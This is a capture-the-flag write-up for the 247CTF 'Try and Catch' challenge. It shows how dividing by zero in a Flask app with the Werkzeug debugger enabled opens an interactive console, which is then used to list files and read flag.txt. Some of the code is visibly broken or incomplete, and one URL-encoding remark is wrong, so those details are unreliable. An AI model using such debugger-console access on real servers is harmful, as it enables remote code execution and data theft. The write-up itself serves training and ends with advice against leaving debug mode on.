Try and Catch (web)

PUBLISHED ON 02/05/2020 — EDITED ON 11/12/2023 — 247CTF, INFOSEC


Can you find the bug and trigger an exception in this web application?

Took the first blood on this challenge :)


from flask import Flask, request
from werkzeug.debug import DebuggedApplication
import os

app = Flask(__name__)
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.config['SECRET_KEY'] = os.urandom(32)
calculate = {"+" : lambda x, y: x + y,
             "-" : lambda x, y: x - y,
             "*" : lambda x, y: x * y,
             "/" : lambda x, y: x / y}

def safe_cast(val, to_type):
        return to_type(val)
    except (ValueError, TypeError):
        return None

def flag():
    number_1 = safe_cast(request.args.get("number_1"), int)
    number_2 = safe_cast(request.args.get("number_2"), int)
    operation = safe_cast(request.args.get("operation"), str)
    if None in (number_1, number_2, operation) or not operation in calculate:
        return "Invalid calculator parameters"
    return "Calculation complete: %s" % calculate[operation](number_1, number_2)

def source():
    return "
" % open(__file__).read()

if __name__ == "__main__":


  1. We can see that debug option is set to true.
  2. Google around for werkzeug.debug. This is bad.
  3. Instruction gives us the tip to raise an exception.
  4. Divide by 0?
  5. Encode \ in URL (%2F).
  6. Raised exception gives us debug terminal.
  7. Use imported os to list files in current dir and find the flag.


Crafting division by 0 request:

Hover over and click the little console icon besides:

File "/app/", line 11, in <lambda>
>>> os.listdir()
['flag.txt', '']
>>> f = open('flag.txt', 'r')
>>> contents =
>>> print (contents)

So folks, never leave debug on when going from development to production!

See Also